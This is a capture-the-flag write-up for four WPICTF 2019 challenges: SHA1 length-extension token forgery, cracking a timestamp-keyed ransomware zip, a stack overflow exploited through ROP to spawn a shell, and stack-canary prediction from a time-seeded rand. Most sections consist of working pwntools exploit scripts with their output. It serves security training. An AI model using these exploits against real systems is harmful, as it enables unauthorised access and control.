WPICTF 2019

Bogged

This challenge involves issuing "bad" commands that have to be authenticated by a token generated through the following "leaked" source code:

import hashlib

secret = ""

def generate_command_token(command, secret):
    hashed = hashlib.sha1(secret+command).hexdigest() 
    return hashed

def validate_input(command, token_in):
    token = hash_command(command, secret)

    if token == token_in:
        return True
    else:
        return False

while(True):
    print("Command:")
    command = raw_input(">>>")
    print('Auth token:')
    token = raw_input(">>>")
    print
    if validate_input(command, token) == False:
        print("Error: Auth token does not match provided command..")
    else:
        execute_command(command)
    print 

The token is generated by hashing a secret and the command sha1(secret+command), making this vulnerable to a hash extension attack.

The service conveniently gives us access to past hashes to attack:

>>>history

///// TRANSACTION HISTORY //////////////////////////

Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!

Command:
>>>withdraw john.doe;deposit xXwaltonchaingangXx
Auth token:
>>>455705a6756fb014a4cba2aa0652779008e36878
Action successful!

Command:
>>>withdraw cryptowojak123;deposit xXwaltonchaingangXx
Auth token:
>>>e429ffbfe7cabd62bda3589576d8717aaf3f663f
Action successful!

Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!

////////////////////////////////////////////////////

However, at this point, I have my hash but don't know the secret length. I choose the command withdraw john.doe and bruteforce the key length until data is correct:

import hashpumpy
from pwn import *

r = remote("bogged.wpictf.xyz", "31337")

for length in range(100):
  res = hashpumpy.hashpump("b4c967e157fad98060ebbf24135bfdb5a73f14dc", "withdraw john.doe", ";", length)
  print(res)

  r.recvuntil(">>>")
  r.sendline(res[1])
  r.recvuntil(">>>")
  r.sendline(res[0])
  r.recvline()
  line = r.recvline()
  print(line)
  if "does not match" in line:
    continue
  print(length)
  break

which spits out

('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0;')
Error: Auth token does not match provided command..

('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8;')
Error: Auth token does not match provided command..

('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00;')
Error: Auth token does not match provided command..

('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08;')
A subcommand was unreadable...

16

So now I know the length of the unknown secret is 16 bytes.

At this point, it's just a matter of appending the correct commands to execute:

import hashpumpy
from pwn import *

r = remote("bogged.wpictf.xyz", 31337)

data = hashpumpy.hashpump("b4c967e157fad98060ebbf24135bfdb5a73f14dc", "withdraw john.doe", ";withdraw cryptowojak123;deposit not_b0gdan0ff", 16)

r.recvuntil(">>>")
r.sendline(data[1])
r.recvuntil(">>>")
r.sendline(data[0])

r.interactive()

resulting in

[+] Opening connection to bogged.wpictf.xyz on port 31337: Done
[*] Switching to interactive mode

A subcommand was unreadable...
Action successful!
Action successful!


BOGDANOFF:

The money is transferred. You have done... well.
Your service has demonstrated your loyalty. You have truly swallowed the bogpill.

You will be among the first to behold the enlightenment we will soon unleash.

...

Quoi?

You want more?

...

Somewhere in the cosmos, a secret calls out to us, lost in the wrinkles of time.

We shall relay this secret to you.


Au revoir.







WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}

Wannsigh

This challenge presents a VM with a zip file encrypted by a piece of "ransomeware". Looking at the browsing history on Firefox, I see the user has downloaded something from the repository https://gitlab.com/def-not-hack4h/coffee-help.

The payload is conveniently here:

CURRENT_TIME=$(($(date +%s%N)/1000000))
echo $CURRENT_TIME

zip --password $CURRENT_TIME  ~/Templates/your-stuff.zip ~/Templates/*

NEXT_TIME=$(($(date +%s%N)/1000000))
echo $NEXT_TIME

Which encrypts the zip file with the current unix timestamp in milliseconds. I can then bruteforce the hash since I know its all numeric, reducing the search space by specifying the first few numbers of the password.

justin@kali:~/wpictf$ john -mask="1554?d?d?d?d?d?d?d?d?d" yourstuffhash

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.20% (ETA: 12:10:55) 0g/s 1921Kp/s 1921Kc/s 1921KC/s 1554696677011..1554731411211
0g 0:00:00:02 0.40% (ETA: 12:10:58) 0g/s 1947Kp/s 1947Kc/s 1947KC/s 1554120347311..1554003067311
1554920623058    (your-stuff.zip)
1g 0:00:01:15 DONE (2019-04-14 12:03) 0.01322g/s 7425Kp/s 7425Kc/s 7425KC/s 1554231923058..1554322233058
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The flag can then be found in an image inside the encrypted zip.

Source

This challenge consists of two parts: the first part involved "breaking" the binary and dumping the source code, the second involved getting a shell.

source.c:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

#include <stdlib.h>
#include <string.h>

//compiled with gcc source.c -o source -fno-stack-protector -no-pie
//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0

//flag for source1 is WPI{Typos_are_GrEaT!}
int getpw(void){
        int res = 0;
        char pw[100];

        fgets(pw, 0x100, stdin);
        *strchrnul(pw, '\n') = 0;
        if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1;
        return res;
}

char *lesscmd[] = {"less", "source.c", 0};
int main(void){
        setenv("LESSSECURE", "1", 1);
        printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n");
        if(!getpw()){
                printf("Pasword auth failed\nexiting\n");
                return 1;
        }

        execvp(lesscmd[0], lesscmd);
        return 0;

Part 1

This part is simple, just overflow res in getpw by overflowing the input with just the right amont of characters. We get the source code and a md5 hash of the compiled binary fcd34aac8522fd502717011bb365bb15. Luckily, I find my Ubuntu VM  has the same compiler version, making compiling it for part 2 straightforward.

Part 2

Attempt 1

This is the fun part. I took one look at the stack overflow in getpw and started reaching for a return to libc attack.

The standard work flow of leaking addresses, calculating libc offsets and calculating the libc version got done.However, when I tried executing system(/bin/sh) with another iteration, I ran into this strange problem where the connection terminates (presumably the binary segfaults).

The even weirder part: when I tried simply printing the value of /bin/sh, the connection still terminates. Sometimes. (Yes, I ran the script in a loop and it printed /bin/sh sometimes).

from pwn import *

e = ELF("./source")

p = process("./source", env={ "SOURCE1_PW": "123" })
#gdb.attach(p, "break puts")

#p = ssh(host="source.wpictf.xyz", port=31337, user="source", password="sourcelocker").shell(tty=True)
p.recvuntil("to get access to")
p.recvline()
payload = "BCDE" + "A" * 0x74
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(e.got["puts"])      # popped into rdi
payload += p64(e.plt["puts"])      # puts is called to print the address of puts@libc
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(e.got["fgets"])     # popped into rdi
payload += p64(e.plt["puts"])      # puts is called to print the address of fgets@libc
payload += p64(0x0000000000400707) # jump back to getpw

p.sendline(payload)

# needed for the remote machine because theres somehow a large chunk
# of garbage printed before the addresses
#p.recvuntil("\x0d\x0a")

#puts_address = p.recvuntil("\x0d\x0a")[:-2]
#fgets_address = p.recvuntil("\x0d\x0a")[:-2]
puts_address = p.recvuntil("\x0a")[:-1]
fgets_address = p.recvuntil("\x0a")[:-1]
# stuff some zeroes in front in case its less than 8 bytes
puts_address = puts_address + b'\x00' * (8 - len(puts_address))
fgets_address = fgets_address + b'\x00' * (8 - len(fgets_address))
#print(hexdump(puts_address))
#print(hexdump(fgets_address))
log.info("puts@libc:   {}".format(hex(u64(puts_address))))
log.info("fgets@libc:  {}".format(hex(u64(fgets_address))))

puts_address = u64(puts_address)
fgets_address = u64(fgets_address)

# libc6_2.29-0ubuntu1_amd64
libc_base = puts_address - 0x083d50

log.info("libc base:   {}".format(hex(libc_base)))
str_bin_sh = libc_base + 0x1afb84
system_address = libc_base + 0x053200

log.info("system@libc: {}".format(hex(system_address)))
log.info("systems@libc: {}".format(hex(str_bin_sh)))

payload = "B" * 0x78
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(str_bin_sh)
payload += p64(system_address)     
payload += p64(0x0000000000400770) # jump back to main

p.sendline(payload)
p.recvuntil("\x0d\x0a")

p.interactive()
p.close()

Attempt 2

Okay, that didn't work out (and I got told ret2libc was overkill for this challenge). So how about I work with the tools available?

This line setenv("LESSSECURE", "1", 1) disables the useful bits of less, namely the commands allowing arbitrary command execution. What if I could call setenv("LESSSECURE", "0", 1) then?

from pwn import *

#p = ssh(host="source.wpictf.xyz", port=31337, user="source", password="sourcelocker").shell(tty=True)
#p = process("./source", env={ "SOURCE1_PW": "123" })
p = gdb.debug("./source", """
break setenv
""", env={ "SOURCE1_PW": "123" })

payload = "C" * 0x78
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(0x400883) # LESSSECURE\0
payload += p64(0x0000000000400841) # pop rsi; pop r15; ret
"""
gef  find /b 0x400000, 0x400FFF, 0x30, 0x00
0x40099c
1 pattern found.
"""
payload += p64(0x40099c)           # 0\0
payload += p64(0x1234)             # dummy value for r15
payload += p64(0x4005e0)           # setenv@plt
payload += p64(0x000000000040079d) # initial return point for getpw

p.sendline(payload)
p.interactive()

This didn't work out too well either, because I coudn't set the last argument of setenv which determines whether it would override existing environment variables. I coudnt find a gadget that would allow me to set rdx to 1.

Attempt 3

What do I need for a shell?

  1. I needed "/bin/sh" in a string.
  2. I needed a way to call "/bin/sh"

With the failure of the ret2libc attack, I could not rely on libc for "/bin/sh". The only place I could get it? By actually entering "/bin/sh" as a input to fgets.

I also could not rely on libc for system(...). The only thing I could use? That execvp in the plt.

Taking a quick look at what I would have to pass to execvp to get a shell, I execute the following

char *test  = "/bin/sh";
char *arbstring = "garbagestring";
void main() {
  execvp(test, &arbstring);
}

And surprisingly I got a shell even though the second parameter was completely garbage. The conclusion? I need a pointer to "/bin/sh" in rdi, and a pointer to a null pointer in rsi.

Here I have the first issue: I don't actually know the address at which "/bin/sh" lived at - I only know it was on the stack somewhere. The only place where I had a useful reference to pw (the string I input) was at the strcmp call in getpw. Heres a thought - what if the call to strcmp put the pointer to pw into rdi for me? Could I rely on nothing else clobbering rdi before I could call execvp?

At first glance through gdb, no I could not. Something was clobbering rdi between me leaving getpw and reaching execvp. I soon found out what it was - the got resolver. The very first time that execvp is called, the address in the got has to be resolved and this resolver writes over rdi. My first call thus becomes execvp("", ...) which is not very useful.

The obvious solution to this? Run it again. The second time around, execvp has been resolved, leaving my precious reference to "/bin/sh" alive in rdi and untouched.

Next, I need a pointer to a null pointer. What better place to find this than at the third element of lesscommand?

With that, the final script:

from pwn import *

"""
break execvp
break *getpw+89
"""

e = ELF("./source")
#p = gdb.debug("./source", """
#break execvp
#continue
#""", env={ "SOURCE1_PW": "123" })
p = ssh(host="source.wpictf.xyz", port=31337, user="source", password="sourcelocker").shell(tty=True)

payload = "/bin/sh\0" + "A" * (0x78 - 8)
payload += p64(0x0000000000400841)  # pop rsi; pop r15; ret;
payload += p64(0x601060+16)            # lesscmd address + 16 for the ptr -> ptr -> null
payload += p64(0x601060)            # dummy value to stuff into r15
payload += p64(e.plt["execvp"])
payload += p64(0x400770)            # main address

p.sendline(payload)
p.sendline(payload)
p.interactive()

Resulting in the following

[*] source@source.wpictf.xyz:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'shell': Done
[*] Switching to interactive mode
Enter the password to get access to https://www.imdb.com/title/tt0945513/
/bin/sh^@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^H@^@^@^@^@^@p^P`^@^@^@^@^@`^P`^@^@^@^@^@^P^F@^@^@^@^@^@p^G@^@^@^@^@^@
Enter the password to get access to https://www.imdb.com/title/tt0945513/
/bin/sh^@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^H@^@^@^@^@^@p^P`^@^@^@^@^@`^P`^@^@^@^@^@^P^F@^@^@^@^@^@p^G@^@^@^@^@^@
ls
flag.txt  run_problem.sh  source  source.c
cat flag.txt
WPI{lesssecure_is_m0resecure}

Careful observers may see my payload being echoed - What on earth is that? There is nothing in the binary that should be echoing my input.

Regardless, I finally get my flag.

Secureshell

Decompilation:

void main(EVP_PKEY_CTX *pEParm1)
{
  int iVar1;
  int iVar2;
  
  init(pEParm1);
  puts(
      "Welcome to the Super dooper securer shell! Now with dynamic stack canaries and incidentreporting!"
      );
  iVar2 = 0;
  do {
    if (2 < iVar2) {
LAB_00401487:
      puts("\nToo many wrong attempts, try again later");
      return;
    }
    if (iVar2 != 0) {
      printf("\nattempt #%i\n",(ulong)(iVar2 + 1));
    }
    iVar1 = checkpw();
    if (iVar1 != 0) {
      shell();
      goto LAB_00401487;
    }
    logit();
    iVar2 = iVar2 + 1;
  } while( true );
}

int init(EVP_PKEY_CTX *ctx)
{
  int extraout_EAX;
  int local_18 [2];
  int local_10;
  
  gettimeofday((timeval *)local_18,(__timezone_ptr_t)0x0);
  srand(local_18[0] * 1000000 + local_10);
  return extraout_EAX;
}

ulong checkpw(void)
{
  int iVar1;
  int iVar2;
  ulong canary2;
  char *__s2;
  char local_80 [104];
  char *local_18;
  ulong canary1;
  
  iVar1 = rand();
  iVar2 = rand();
  canary2 = (long)iVar2 ^ (long)iVar1 << 0x20;
  canary1 = canary2;
  puts("Enter the password");
  fgets(local_80,0x100,stdin);
  local_18 = strchr(local_80,10);
  if (local_18 != (char *)0x0) {
    *local_18 = 0;
  }
  __s2 = getenv("SECUREPASSWORD");
  iVar1 = strcmp(local_80,__s2);
  if (iVar1 != 0) {
    stakcheck(canary2,canary1);
  }
  else {
    stakcheck(canary2,canary1);
  }
  return (ulong)(iVar1 == 0);
}

void logit(void)
{
  FILE *__stream;
  char *pcVar1;
  int local_ac;
  char local_a8 [48];
  undefined8 local_78;
  undefined8 local_70;
  MD5_CTX local_68;
  
  local_ac = rand();
  MD5_Init(&local_68);
  MD5_Update(&local_68,&local_ac,4);
  MD5_Final((uchar *)&local_78,&local_68);
  sprintf(local_a8,"%lx%lx",local_78,local_70);
  puts("You.dumbass is not in the sudoers file.  This incident will be reported.");
  printf("Incident UUID: %s\n",local_a8);
  __stream = fopen("/dev/null","w");
  if (__stream != (FILE *)0x0) {
    if (times == 0) {
      pcVar1 = "";
    }
    else {
      pcVar1 = "(Again)";
    }
    fprintf(__stream,"Incident %s: That dumbass forgot his password %s\n",local_a8,pcVar1);
    fclose(__stream);
    times = times + 1;
  }
  return;
}

This is a stack overflow with a stack canary to bypass.

On start, srand is seeded with the unix timestamp to microsecond precision. This can be bruteforced - I can reasonably assume that the program starts within 1 second on the server.

checkpw then reads data into a buffer that can be overflowed, except that there is a stack canary protecting it. This canary is calculated from two rand calls.

After failing the password check, logit then conveniently prints md5(rand()) as a "incident UUID".

The workflow is thus

  1. Record start time
  2. Give a dummy value
  3. Read the incident UUID
  4. Bruteforce the rand seed and predict the next stack canary
  5. Overflow the input buffer and jump to shell
import time
import hashlib
from pwn import *
from ctypes import *

def fix_hash(inp):
    return "".join(reversed([inp[i:i+2] for i in range(0, 16, 2)])) + "".join(reversed([inp[i:i+2] for i in range(16, 32, 2)]))

cdll.LoadLibrary("libc.so.6")
libc = CDLL("libc.so.6")

p = remote("secureshell.wpictf.xyz", 31337)
#p = process("./secureshell", env={ "SECUREPASSWORD": "asdf" })
#p = gdb.debug("./secureshell", """
#break stakcheck
#continue
#""", env={ "SECUREPASSWORD": "asdf" })
starttime = int(time.time())
log.info("start time={}".format(starttime))

p.recvuntil("password")
# send dummy password so i can get the incident UUID
p.sendline("a")
p.recvuntil("Incident UUID: ")
uuid = p.recvregex(r"([0-9a-f]{32})")

log.info("UUID=|{}|".format(uuid))

flipped_uuid = fix_hash(uuid)

# test a range around the start time
for seed_time in range(starttime, starttime + 3):
    log.info("Testing time {}".format(seed_time))

    found = False
    for us in range(1000000):
        # cap at uint32_t
        libc.srand((seed_time * 1000000 + us) & 0xFFFFFFFF)

        # dump two values because these would have been used for the first stack canary
        libc.rand()
        libc.rand()

        calc_hash = hashlib.md5(p32(libc.rand())).hexdigest()

        if calc_hash == flipped_uuid:
            log.info("Found seed {}".format(seed_time))
            found = True
            break
    
    if found: break

# at this point, calculate the next canary value
# the 8 byte canary value is stored from the 112th byte

rand1 = libc.rand()
rand2 = libc.rand()
canary = rand2 ^ rand1 << 0x20
p.recvuntil("Enter the password")
p.clean()

# send padded data + canary + dummy BP + return address (address of the shell function)
p.sendline("A"*112 + p64(canary) + "A"*8 + p64(0x040125c))
p.interactive()

fix_hash is there because the binary prints md5 hashes in a completely messed up way (leading me to a few hours of wondering what did I miss about how hashing works)

This leads to

[+] Opening connection to secureshell.wpictf.xyz on port 31337: Done
[*] start time=1555207675
[*] UUID=|9b47e8a26f3fdc663705652eb32cadb0|
[*] Testing time 1555207675
[*] Found seed 1555207675
[*] Switching to interactive mode
$ whoami
secureshell
$ ls
flag.txt
run_problem.sh
secureshell
$ cat flag.txt
WPI{Loggin_Muh_Noggin}